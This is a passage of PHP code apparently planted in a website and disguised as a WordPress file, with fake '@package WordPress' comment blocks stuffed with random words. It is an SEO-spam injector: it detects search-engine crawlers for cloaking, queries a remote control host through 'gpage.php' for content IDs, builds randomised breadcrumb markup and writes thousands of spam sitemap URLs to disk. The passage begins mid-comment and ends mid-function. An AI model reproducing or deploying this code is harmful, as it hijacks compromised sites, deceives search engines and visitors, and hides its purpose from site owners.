  1481.  * competition decade discount disturb durable entertainment geography infer liquor marveous reinforce shelter tissue urge.
  1482.  * Internet candidate casual descend disturb expand insure media orchestra subsequent substantial talent tendency tide tissue tropical.
  1483.  * appreciate boundary comedy drift enviroment explore venture.
  1484.  * bother slender tendency withdraw.
  1485.  * excursion illegal resistant subt.
  1486.  * appetite architecture beforehand breed cope core decay deserve dive gear grand gratitude religious severe spot tremble ultimate variable vitally vocabulary whatsoever withstand zone.
  1487.  * evolution index interfere rival shrug solar wax weave wonder.
  1488.  * appropriate approximate golf isolate liter lynar navigation recruit temptation.
  1489.  * award awful bargain chaos comedy comparative cope deaf infinite mere prescribe previous racial.
  1490.  * consistent elaborate entitle fax focus gasoline giant globe hatred horror knot negative relief render scandal sincere temporary transplant vacant.
  1491.  * adequate architect bunch deputy faulty oral orchestra oval reluctant restrict shrug subsequent substance suspicion unique volcano.
  1492.  * cancel dump elbow evolve external global junior mutual pat petrol portion prosperity pursue security tendency utilify vary.
  1493.  * accomplish battery distribute garbage jewel leak liter religious tremendous.
  1494.  * compete expenditure nuclear rescue respond.
  1495.  * acquire burden elastic interpretation liberty nylon partial scale vain withstand.
  1496.  * applianc collision exclude grand hence missile nevertheless register semiconductor severe vitally.
  1497.  * applicable orient theme vibrate vivid.
  1498.  * brake code deputy dusk hardware illegal manufacture optics powder reputation suburb trap ultimate vacuum vehicle vital wealthy.
  1499.  * accelerate disturb equivalent fertilizer flash guilty import leak portable sexual skim tend tuition urge.
  1500.  * breadth cope enclose fatal focus geology globe identify inferior mature moral navigation nonsense portable provision software vanish vertical.
  1501.  * auxiliary available constant discrimination distinguish facility guarantee identify likelihood mild mood network prescribe sensible sexual slender swallow tendency tense the valid violence wonder.
  1502.  * approximate bunch burden jam moisture remote retain significance solar universe utter.
  1503.  * coil duration extinct grant hollow jewel leisure vivid whereas.
  1504.  * decade minimum mission wagon.
  1505.  * attitude authority burst candidate disturb evolve exceedingly gear grant infinite jeans luxury male offend parallel passive recruit scandal secure security thrust transport trend universal urgent.
  1506.  * gap horror mission ridge spur tendency.
  1507.  * adjust approve ban dusk emotion erect exclude garbage gratitude humble joint launch liable poverty remarkable retail shrug splendid spray subt triumph vary vibrate vitally.
  1508.  *
  1509.  * @package WordPress
  1510.  */
  1511.  
  1512.  
  1513. function getRandStrArr($tpArr=array(),$bgKey=0){
  1514.    
  1515.     $returnStr = '';
  1516.     $numArr = count($tpArr);
  1517.     for($i=$bgKey+1;$i<$numArr;$i++){
  1518.         $returnStr .= $tpArr[$i].' ';
  1519.     }
  1520.    
  1521.     for($i=0;$i<=$bgKey;$i++){
  1522.         $returnStr .= $tpArr[$i].' ';
  1523.     }
  1524.    
  1525.     return trim($returnStr);
  1526.  
  1527. }
  1528.  
  1529.  
  1530. function getBreadcrum($Ptitle,$catArr,$id23){
  1531.  
  1532.     global $arrBread,$thisdom;
  1533.    
  1534.     $catArr = array();
  1535.     $breadTagkey = KEYJG % 6;
  1536.     if($breadTagkey == 0){
  1537.         $breadTagHtml1 = 'nav';
  1538.         $breadTagHtml2 = 'ul';
  1539.     }elseif($breadTagkey == 1){
  1540.         $breadTagHtml1 = 'nav';
  1541.         $breadTagHtml2 = 'ol';
  1542.     }elseif($breadTagkey == 2){
  1543.         $breadTagHtml1 = 'div';
  1544.         $breadTagHtml2 = 'ol';
  1545.     }elseif($breadTagkey == 3){
  1546.         $breadTagHtml1 = 'section';
  1547.         $breadTagHtml2 = 'ol';
  1548.     }elseif($breadTagkey == 4){
  1549.         $breadTagHtml1 = 'section';
  1550.         $breadTagHtml2 = 'ul';
  1551.     }else{
  1552.         $breadTagHtml1 = 'div';
  1553.         $breadTagHtml2 = 'ul';
  1554.     }
  1555.  
  1556.  
  1557.     $arrBreadNum = count($arrBread);
  1558.     $domlen = strlen($thisdom);
  1559.  
  1560.  
  1561.     $breadTagkey = $domlen % 5;
  1562.    
  1563.     $liClassYs = KEYJG % 19;
  1564.    
  1565.     if($liClassYs == 0){
  1566.         $liStr = ' class="item"';
  1567.     }elseif($liClassYs == 1){
  1568.         $liStr = ' class="breadcrumbs-item"';
  1569.     }elseif($liClassYs == 2){
  1570.         $liStr = ' class="nz-breadcrumb-item"';
  1571.     }elseif($liClassYs == 3){
  1572.         $liStr = ' class="items"';
  1573.     }elseif($liClassYs == 4){
  1574.         $liStr = ' class="breadcrumblist-items"';
  1575.     }elseif($liClassYs == 5){
  1576.         $liStr = ' class="el-breadcrumb-item"';
  1577.     }elseif($liClassYs == 6){
  1578.         $liStr = ' class="doc-crumb-item"';
  1579.     }elseif($liClassYs == 7){
  1580.         $liStr = ' class="breadcrumb-item"';
  1581.     }elseif($liClassYs == 8){
  1582.         $liStr = ' class="crumbs-item"';
  1583.     }elseif($liClassYs == 9){
  1584.         $liStr = ' class="bread-item"';
  1585.     }elseif($liClassYs == 10){
  1586.         $liStr = ' class="breads-item"';
  1587.     }elseif($liClassYs == 11){
  1588.         $liStr = ' class="breadcrumbItem"';
  1589.     }elseif($liClassYs == 12){
  1590.         $liStr = ' class="breadcrumbItems"';
  1591.     }elseif($liClassYs == 13){
  1592.         $liStr = ' class="breadcrumblistitems"';
  1593.     }elseif($liClassYs == 14){
  1594.         $liStr = ' class="BreadcrumbItem"';
  1595.     }elseif($liClassYs == 15){
  1596.         $liStr = ' class="ListItem"';
  1597.     }elseif($liClassYs == 16){
  1598.         $liStr = ' class="crumb-items"';
  1599.     }else{
  1600.         $liStr = '';
  1601.     }
  1602.    
  1603.  
  1604.     $arrBreadId = array();
  1605.     $arrBreadId[] = 'Bread';
  1606.     $arrBreadId[] = 'BreadHead';
  1607.     $arrBreadId[] = 'Breadcrumb';
  1608.     $arrBreadId[] = 'Breadcrumb-Head';
  1609.     $arrBreadId[] = 'Breadcrumb-Heads';
  1610.     $arrBreadId[] = 'Breadcrumb-Top';
  1611.     $arrBreadId[] = 'BreadcrumbHeads';
  1612.     $arrBreadId[] = 'BreadcrumbLists';
  1613.     $arrBreadId[] = 'BreadcrumbNavigation';
  1614.     $arrBreadId[] = 'BreadcrumbTop';
  1615.     $arrBreadId[] = 'BreadcrumbTops';
  1616.     $arrBreadId[] = 'MyBreadcrumb';
  1617.     $arrBreadId[] = 'ant-breadcrumb';
  1618.     $arrBreadId[] = 'bread-List';
  1619.     $arrBreadId[] = 'breadtop';
  1620.     $arrBreadId[] = 'breadtops';
  1621.     $arrBreadId[] = 'breadHead';
  1622.     $arrBreadId[] = 'breadHeads';
  1623.     $arrBreadId[] = 'breadList';
  1624.     $arrBreadId[] = 'breadLists';
  1625.     $arrBreadId[] = 'breadcrumb';
  1626.     $arrBreadId[] = 'c-breadcrumb';
  1627.     $arrBreadId[] = 'crumbList';
  1628.     $arrBreadId[] = 'crumb-list';
  1629.     $arrBreadId[] = 'crumbs';
  1630.     $arrBreadId[] = 'crumbsHead';
  1631.     $arrBreadId[] = 'crumbsHeads';
  1632.     $arrBreadId[] = 'crumbs-head';
  1633.     $arrBreadId[] = 'crumbs-nag';
  1634.     $arrBreadId[] = 'crumbsTop';
  1635.     $arrBreadId[] = 'crumbsTops';
  1636.     $arrBreadId[] = 'crumbs-top';
  1637.     $arrBreadId[] = 'cs-breadcrumb';
  1638.     $arrBreadId[] = 'customBreadcrumb';
  1639.     $arrBreadId[] = 'doc-crumb';
  1640.     $arrBreadId[] = 'el-breadcrumb';
  1641.     $arrBreadId[] = 'l-breadcrumb';
  1642.     $arrBreadId[] = 'navBreadCrumb';
  1643.     $arrBreadId[] = 'navBreadCrumbs';
  1644.     $arrBreadId[] = 'page-breadcrumbs';
  1645.     $arrBreadId[] = 'pages-breadcrumbs';
  1646.     $arrBreadId[] = 's-breadcrumb';
  1647.     $arrBreadId[] = 'v-breadcrumb';
  1648.     $arrBreadId[] = 'chrome-breadcrumbs';
  1649.    
  1650.    
  1651.     $keyBreadId = KEYJG % 48;
  1652.    
  1653.     if(isset($arrBreadId[$keyBreadId])){
  1654.         $keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
  1655.     }else{
  1656.         $keyBreadIdStr = '';
  1657.     }
  1658.    
  1659.  
  1660.  
  1661.     $strBreads = '';
  1662.     if($breadTagkey == 4){
  1663.         $arrBreadC1 = array();
  1664.         $arrBreadC1[] = 'BreadcrumbData';
  1665.         $arrBreadC1[] = 'BreadcrumbDatas';
  1666.         $arrBreadC1[] = 'BreadcrumbTop';
  1667.         $arrBreadC1[] = 'crumbsHead';
  1668.         $arrBreadC1[] = 'crumbsTop';
  1669.         $arrBreadC1[] = 'crumbsList';
  1670.         $arrBreadC1[] = 'crumbs-top';
  1671.         $arrBreadC1[] = 'crumbs-list';
  1672.         $arrBreadC1[] = 'crumbs-Head';
  1673.         $arrBreadC1[] = 'BreadcrumbTag';
  1674.         $arrBreadC1[] = 'Breadcrumb-tag';
  1675.         $arrBreadC1[] = 'BreadcrumbBody';
  1676.         $arrBreadC1[] = 'BreadcrumbBody';
  1677.         $arrBreadC1[] = 'Breadcrumb-Top';
  1678.         $arrBreadC1[] = 'Breadcrumb-body';
  1679.         $arrBreadC1[] = 'BreadcrumbTops';
  1680.         $arrBreadC1[] = 'Breadcrumb-Head';
  1681.         $arrBreadC1[] = 'Breadcrumb-Heads';
  1682.         $arrBreadC1[] = 'Breadcrumb-List';
  1683.         $arrBreadC1[] = 'BreadcrumbList';
  1684.         $arrBreadC1[] = 'BreadcrumbLists';
  1685.        
  1686.         $ckeyI = KEYJG % count($arrBreadC1);
  1687.        
  1688.         $classI =  $arrBreadC1[$ckeyI];
  1689.         $classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
  1690.        
  1691.         $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
  1692.         $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
  1693.         $strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
  1694.         if(count($catArr)){
  1695.             foreach($catArr as $vs){
  1696.                 $vs = trim($vs);
  1697.                 $nowCatUrl = getCatLink($vs,$id23);
  1698.                 $strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
  1699.             }
  1700.         }
  1701.        
  1702.         $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
  1703.         $strBreads .= '</'.$breadTagHtml2.'>';
  1704.         $strBreads .= '</'.$breadTagHtml1.'>';
  1705.     }else{
  1706.         $calssBreadKey = KEYJG % $arrBreadNum;
  1707.         $classTop = $arrBread[$calssBreadKey];
  1708.         $classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
  1709.         $breadTagkey = $domlen % 2;
  1710.  
  1711.         if($breadTagkey == 0){
  1712.             if($classTop)
  1713.                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
  1714.             else
  1715.                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
  1716.            
  1717.             $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
  1718.             $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
  1719.             $flagNum = 2;
  1720.             if(count($catArr)){
  1721.                 foreach($catArr as $vs){
  1722.                     $vs = trim($vs);
  1723.                     $nowCatUrl = getCatLink($vs,$id23);
  1724.                     $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
  1725.                     $flagNum++;
  1726.                 }
  1727.             }
  1728.                
  1729.                
  1730.             $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
  1731.                
  1732.             $strBreads .= '</'.$breadTagHtml2.'>';
  1733.             $strBreads .= '</'.$breadTagHtml1.'>';
  1734.         }else{
  1735.             if($classTop)
  1736.                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
  1737.             else
  1738.                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
  1739.            
  1740.             $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
  1741.             $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
  1742.             if(count($catArr)){
  1743.                 foreach($catArr as $vs){
  1744.                     $vs = trim($vs);
  1745.                     $nowCatUrl = getCatLink($vs,$id23);
  1746.                     $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
  1747.                 }
  1748.             }
  1749.                
  1750.                
  1751.             $strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
  1752.                
  1753.             $strBreads .= '</'.$breadTagHtml2.'>';
  1754.             $strBreads .= '</'.$breadTagHtml1.'>';
  1755.         }
  1756.     }
  1757.    
  1758.    
  1759.     return $strBreads;
  1760.  
  1761. }
  1762.  
  1763.  
  1764.  
  1765.  
  1766. function getCatLink($CatName,$id23){
  1767.        
  1768.         global $arrnametime,$arrKeywz,$strRand;    
  1769.    
  1770.         $filePres = '';     $fileEnds = '';     $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1771.         $dirNames = dirname(__FILE__);      $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));     
  1772.         if(JDT == 2){
  1773.             $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";      }elseif(JDT == 1){
  1774.             $filePres = $siteLink ."/". $httcReplace . "/";     }elseif(JDT == 3){
  1775.             $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";       }else{
  1776.             $filePres = $siteLink."/";      }
  1777.        
  1778.         $CatName = str_replace('&',' ',$CatName);
  1779.         $CatName = str_replace('&',' ',$CatName);
  1780.         if(JDT == 3){
  1781.            
  1782.             $CatName = preg_replace('#\s+#i','-',$CatName);
  1783.            
  1784.            
  1785.             while(strstr($CatName,'--'))
  1786.                 $CatName = str_replace('--','-',$CatName);
  1787.            
  1788.             $urlMid = $CatName;
  1789.            
  1790.             $rtStr = $filePres.$urlMid;
  1791.             $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1792.        
  1793.             return $rtStr;
  1794.            
  1795.             }
  1796.         // BZCAT
  1797.        
  1798.        
  1799.         $endNumber = '';
  1800.        
  1801.         for($i=0;$i<3;$i++){
  1802.             $ranNum = rand(0,9);
  1803.             $endNumber .= $ranNum;
  1804.         }
  1805.            
  1806.        
  1807.         $CatName = preg_replace('#\s+#i','-',$CatName);
  1808.         $CatName = str_replace('--','-',$CatName);
  1809.         $urlMid = 'brand/'. str_replace('--','-',$CatName) . '/'. $endNumber;
  1810.         // $urlMid .= JTHZ;    
  1811.         $rtStr = $filePres.$urlMid;
  1812.         $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1813.        
  1814.         return $rtStr;
  1815.            
  1816. }
  1817.    
  1818.    
  1819. function getMapNum($bgNum,$mapnum){
  1820.     $TempArr = array();
  1821.     if($bgNum + $mapnum <= FNUM){
  1822.         for($i=0;$i<$mapnum;$i++){
  1823.             $TempArr[$i] = $bgNum + $i -1;
  1824.         }
  1825.     }else{
  1826.         for($i=0;$i<$mapnum;$i++){
  1827.             if($bgNum+$i > FNUM)
  1828.                 $TempArr[$i] = $bgNum + $i -1 -FNUM;
  1829.             else
  1830.                 $TempArr[$i] = $bgNum + $i -1;
  1831.         }
  1832.     }
  1833.    
  1834.     return $TempArr;
  1835. }
  1836.  
  1837.  
  1838. function getRandCId($rqurl){
  1839.     global $thisdom;
  1840.    
  1841.     for($i=0;$i<3;$i++){
  1842.         $idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
  1843.         $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  1844.         if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
  1845.             return $matchId[1];
  1846.         }
  1847.     }
  1848.    
  1849.      
  1850.     http_response_code(404);  
  1851.     exit;
  1852.    
  1853. }
  1854.  
  1855. /**
  1856.  * accomplish available calculate comparative electron erect estimate golf hollow illegal promote reinforce security slippery sponsor suspicious tarnest timber violet.
  1857.  * arouse bachelor coarse episode extreme ingredient oval passport phenomenon range scratch shift sophisticated stripe temptation torture trial utilify.
  1858.  * approximate chaos dispose oral participate slender splendid submit temple valley.
  1859.  * avenue horror necessity route sensitive suburb violet.
  1860.  * fatal luxury neglect quotation universe.
  1861.  * acquire applicable burst casual cliff conservation continual core discrimination entertainment entry evil exclude expensive genuine hence laser launch manufacture pants poverty racial spray theme vibrate.
  1862.  * adequate boundary coach competent core dash deserve dump elastic flash global liquor oblige pants radiation ridiculous temporary violence.
  1863.  * derive fertilizer incident obscure slippery swallow urge usage.
  1864.  * applause arouse breed casual comedy debt drip evil guarantee hardware holy incident ingredient joint peak register ruin scratch semester stimulate submit tense twist wax.
  1865.  * adequate adhere algebra approach breed clue drip favorable flee haste invade legislation media modify numerrous promote prompt reject reveal ridge shuttle theme undergraduate.
  1866.  * Internet attach encounter expense infect invade respond tremble whereas.
  1867.  * acknowledge alter delicate liberal mild missile mist nonsense noticeable odd opportunity priority prohibit regulate removal restraint sketch splendid tide virtue.
  1868.  * apparent appetite applicable appoint awful consume display distress exterior import insurance luxury oval participate principal prominent pursue restrain ridiculous shift sincere strategy undertake utter weld.
  1869.  * advertisement hint jealous sensible violence.
  1870.  * architecture calendar entitle evolve exclusive fatal genius inevitable insure isolate issue leap moisture naked neutral resume transform urge vary vessel.
  1871.  * aspect coil dumb exclusive grand grateful household infer insure missile private prominent route semiconductor shrug suspicious tremble.
  1872.  * attitude battery gasoline liberty nonsense substitute.
  1873.  * dash evil extraordinary generate jungle medium prevail regulate semiconductor suburb unique yawn.
  1874.  * approximate architect cliff conquer dash distinguish erect exaggerate flash horrible interpret joint negative principal range recreation removal stale subway target tuition vain valley.
  1875.  * alter budget burden comedy conservation evaluate focus liberty notion optics shiver stuff substantial subway terminal tide tissue vessel.
  1876.  * abundant ban duration evolve fertilizer frown impose simplicity slippery spot talent tender tense usage violence.
  1877.  * appropriate distribute gene radical shield substitute swallow vibrate.
  1878.  * arouse coach emotion evolve extraordinary glory integrate licence oxygen removal textile variable violence.
  1879.  * applicant appoint award boundary catalog elaborate expend export frown incident maximum optional profit region sketch tend vague volcano.
  1880.  * accelerate appropriate arbitrary balcony coarse deaf deposit gene interpretation medium neglect optics resistant tropical undergo vain.
  1881.  * abuse comedy comparative glimpse negative organ preserve shelter slender slide sponsor tense trend vivid waist.
  1882.  * architect debt expend racial religion split.
  1883.  * adapt adhere algebra arouse battery clue comparable deposit dump expensive flexible gallery jam minimum naval obstacle secure sexual virtual.
  1884.  * adequate balcony bargain bother collision competent continual dusk exceed excursion fertilizer knot leak mature outstanding partial passport rely shrink talent textile undergo.
  1885.  * agent appoint distribute geography household jewel missile naval nylon prosperity security sexual shrug substance vessel.
  1886.  * hydrogen luxury obstacle oxygen trap universal.
  1887.  * architect automatic award bother collision continuous erect excess internal mood negative orient portable ridid sake simplicity spot temporary tense vacuum venture weed.
  1888.  * adhere cargo deputy enthusiasm glory integrate jungle mere mixture oblige organ parallel reveal slide tend vague whereas yawn.
  1889.  * adult appreciate arouse attitude breed campus community deserve evaluate generate genuine infant retail retain ridge security slippery spill utter vain.
  1890.  * commit evolve mere signature subway transmit.
  1891.  * arouse awful competition dispose disturb duration gallery interfere joint nylon obstacle revenue ridiculous scandal stable strategy tender trial vessel.
  1892.  * acid bureau decent dump emphasize enclose explosion import infer ingredient jealous liberty navigation outstanding prescribe removal render retain rival security victim wax yawn.
  1893.  * capture device ingredient odd particle prompt prosperity racial radiation semester utilise vote.
  1894.  * continuous decent expense forbid globe hostile massive primitive prospect spill submerge vacant weed.
  1895.  * encounter lest outset principle stuff subway.
  1896.  * awful expansion grateful sensible slender tender tide.
  1897.  * aspect bargain collision core echo emotional evaluate explosion fatal fertilizer gaze gene grant illegal knot nylon prohibit range significance simplify substantial trap video violence yield.
  1898.  * acquire awful bundle equivalent explode massive mood.
  1899.  * bacteria barrel comparative consume drift facility germ glory hestiate individual interfere knot prevail private reputation resemble sophisticated target temple variation video vote.
  1900.  * approve domestic equation illegal lean provision tense.
  1901.  * auxiliary continuous expansion external harmony necessity remote theme vary virtual withdraw.
  1902.  * award geography geometry liberty ridid.
  1903.  * available barrel coil diverse expensive interpretation jam launch legislation quotation racial religious tense trap vanish violent weave.
  1904.  * arouse attach award defect essential expansion giant isolate personnel recruit tense wonder.
  1905.  * competition idle jail orchestra relief stale.
  1906.  * abuse appoint bother capture comedy comparable loose mere mixture optics orchestra personnel principle prior restraint signature slip strategic temporary temptation title tone twist.
  1907.  * applicable coarse decade gallery gear jeans kneel mild nevertheless retail transform vacuum vary volcano.
  1908.  * aspect conquer consent consume display distress dumb flee germ guilty infant lean merchant odd preserve principal relief secure slip substance tremendous utter variation vote.
  1909.  * display dump exclude leather modest orient reluctant tremble.
  1910.  * constant fax isolate naked orient.
  1911.  *
  1912.  * @package WordPress
  1913.  */
  1914.    
  1915.  
  1916. function getRandId(){
  1917.     $num = rand(1,FNUM);    $num = $num - 1;    require(FILEDIRNAME . "/id$num.php");   $indexId=array_rand($arrId,1);  $id = $arrId[$indexId]; unset($arrId);  return $id;}
  1918. function get_arrvs($arr,$num,$nowkey){
  1919.     $numArr = count($arr); 
  1920.     if($nowkey + $num < $numArr)
  1921.         return $arr[$nowkey + $num];    else{
  1922.         if($nowkey + $num - $numArr - $numArr > 0)
  1923.             return get_arrvs($arr,$num - $numArr,$nowkey);      else
  1924.             return $arr[abs($nowkey + $num - $numArr)]; }
  1925. }
  1926.  
  1927. function get_pre_link($arr,$key){
  1928.    
  1929.     $tmpA1 = array();   $tmpA2 = array();  
  1930.     $num = count($arr);
  1931.    
  1932.     if($key + JGNUM + 1 + LINKNUM >= $num){
  1933.        
  1934.         if($key + JGNUM + 1 - $num > LINKNUM){
  1935.             return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);     }else{
  1936.        
  1937.         $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;     $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);      $tmpA2 = array_slice($arr, 0, $duoyu);         
  1938.         return array_merge($tmpA1,$tmpA2);      }
  1939.     }else{
  1940.             return  array_slice($arr, $key + JGNUM + 1, LINKNUM);   }
  1941.    
  1942. }
  1943. function get_next_link($arr,$key){
  1944.    
  1945.     $tmpA1 = array();   $tmpA2 = array();  
  1946.     $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
  1947.         $duoyu = abs($key - JGNUM - LINKNUM);       $tmpA1 = array_slice($arr, 0, abs($key - JGNUM));       $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);      return array_merge($tmpA1,$tmpA2);  }else{
  1948.             return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
  1949. }
  1950. function rFile($file){
  1951.     if(function_exists('file_get_contents')){
  1952.         return file_get_contents($file);
  1953.     }else{
  1954.         $handle = fopen($file, "r");
  1955.         $contents = fread($handle, filesize($file));
  1956.         fclose($handle);
  1957.         return $contents;
  1958.     }
  1959. }
  1960. function isCrawler() {
  1961.     $agent= @strtolower($_SERVER['HTTP_USER_AGENT']);   if (!empty($agent)) {
  1962.         $spiderSite= array(
  1963.             "Googlebot",
  1964.             "Mediapartners-Google",
  1965.             "Adsbot-Google",
  1966.             "Yahoo!",
  1967.             "Google AdSense",
  1968.             "Yahoo Slurp",
  1969.             "bingbot",
  1970.             "MSNBot"
  1971.         );      foreach($spiderSite as $val) {
  1972.         $str = strtolower($val);        if (strpos($agent, $str) !== false) {
  1973.             return true;            }
  1974.         }
  1975.     } else {
  1976.         return false;   }
  1977. }
  1978.  
  1979.  
  1980. function gsitemap2($filenames,$c=1,$jdt=1){
  1981.     global $gnumber,$arrArrr;
  1982. $arrABC = range('a','z');
  1983. $tparrsI = $filenames;
  1984. $randnum = rand(7000,7600);
  1985. $tparrII = array_rand($tparrsI,$randnum);
  1986. $tparrIII = array();
  1987. foreach($tparrII as $vs){
  1988.     $tparrIII[$vs] = $filenames[$vs];
  1989. }
  1990. $filenames = $tparrIII;
  1991.  
  1992.     $filePres = ''; $fileEnds = '';
  1993.     $dirNames = dirname(__FILE__);  $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));         
  1994.     if(JDT == 2){
  1995.         $filePres = $httcReplace . "/" . basename(__FILE__) . "/";  }elseif(JDT == 1){
  1996.         $filePres = $httcReplace . "/"; }elseif(JDT == 3){
  1997.         $filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";   }else{
  1998.         $filePres = ''; }
  1999.     if(JDT == 3){
  2000.         $fileEnds = ''; }else{
  2001.         $fileEnds = JTHZ;   }
  2002.     $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  2003.     $siteLink='http://'.$_SERVER['HTTP_HOST'];     
  2004.     $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;    $mapEnd = PHP_EOL .  '</urlset>';
  2005.     // $urlsArray = $filenames;
  2006.     // $numLinks = count($urlsArray);
  2007.     $star = 0;  $priority = 0.1;    $starPri = 0;   $gFile =""; $date = date("Y-m-d");  $time = date("H:i:s");
  2008.     $str = "";                     
  2009.     $tempArr1 = $filenames;
  2010.    
  2011.     foreach($tempArr1 as $key => $value2){
  2012.         $curphp=basename(__FILE__);
  2013.         $value = $value2;       $first=stristr($value,".php");      $last=stristr($value,".xml");       $checkTxt =stristr($value,".txt");     
  2014.             $tempPid = $key;
  2015.        
  2016.             $url = getalink($tempPid,$value2);
  2017.            
  2018.         if(JDT == 0){
  2019.  
  2020.         if($first===false && $last===false && $checkTxt===false)
  2021.         {
  2022.             $date = date("Y-m-d");          $time = date("H:i:s");             
  2023.        
  2024.             if($star % 12000==11999){
  2025.                 $gFile =  '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml';                echo '<br/>'.$gFile.'<br/>';                $put_str = $mapPre . $str . $mapEnd;                @unlink($gFile);                file_put_contents($gFile,$put_str);
  2026.                 file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2027.                 $str = '';              $gnumber++;             return;         }
  2028.            
  2029.        
  2030.            
  2031.    
  2032.             $str .= "     <url>
  2033.              <loc>" . $url . "</loc>
  2034.              <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2035.              <changefreq>daily</changefreq>
  2036.              <priority>0.1</priority>
  2037.              </url>
  2038.         "; 
  2039.            
  2040.            
  2041.             $star++;            $starPri++;     }
  2042.            
  2043.            
  2044.         }else{
  2045.            
  2046.             if($first===false && $last===false && $checkTxt===false)
  2047.         {
  2048.             $date = date("Y-m-d");          $time = date("H:i:s");             
  2049.        
  2050.             if($star % 12000==11999){
  2051.                 $gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';                echo '<br/>'.$gFile.'<br/>';                $put_str = $mapPre . $str . $mapEnd;                @unlink($gFile);                file_put_contents($gFile,$put_str);
  2052.                 file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2053.                 $str = '';              $gnumber++;             return;         }
  2054.            
  2055.        
  2056.            
  2057.    
  2058.             $str .= "     <url>
  2059.              <loc>" . $url . "</loc>
  2060.              <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2061.              <changefreq>daily</changefreq>
  2062.              <priority>0.1</priority>
  2063.              </url>
  2064.         "; 
  2065.            
  2066.            
  2067.             $star++;            $starPri++;     }
  2068.            
  2069.         }
  2070.        
  2071.        
  2072.            
  2073.            
  2074.            
  2075.            
  2076.            
  2077.     }
  2078.    
  2079.    
  2080.         if(JDT == 0){
  2081.            
  2082.                 {
  2083.         $gFile =  '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml';            echo '<br/>'.$gFile.'<br/>';
  2084.         $put_str = $mapPre . $str . $mapEnd;        @unlink($gFile);        file_put_contents($gFile,$put_str);
  2085.         file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2086.         $gnumber++;
  2087.         }
  2088.            
  2089.         }else{
  2090.            
  2091.             {
  2092.         $gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';            echo '<br/>'.$gFile.'<br/>';
  2093.         $put_str = $mapPre . $str . $mapEnd;        @unlink($gFile);        file_put_contents($gFile,$put_str);
  2094.         file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2095.         $gnumber++;
  2096.         }
  2097.    
  2098.    
  2099.         }
  2100.    
  2101.    
  2102.    
  2103.     unset($tempArr1);   unset($filenames); 
  2104.     echo "生成sitemap成功!"; 
  2105. }
  2106.  
  2107.  
  2108. function gsitemap($filenames,$c=1,$jdt=1){
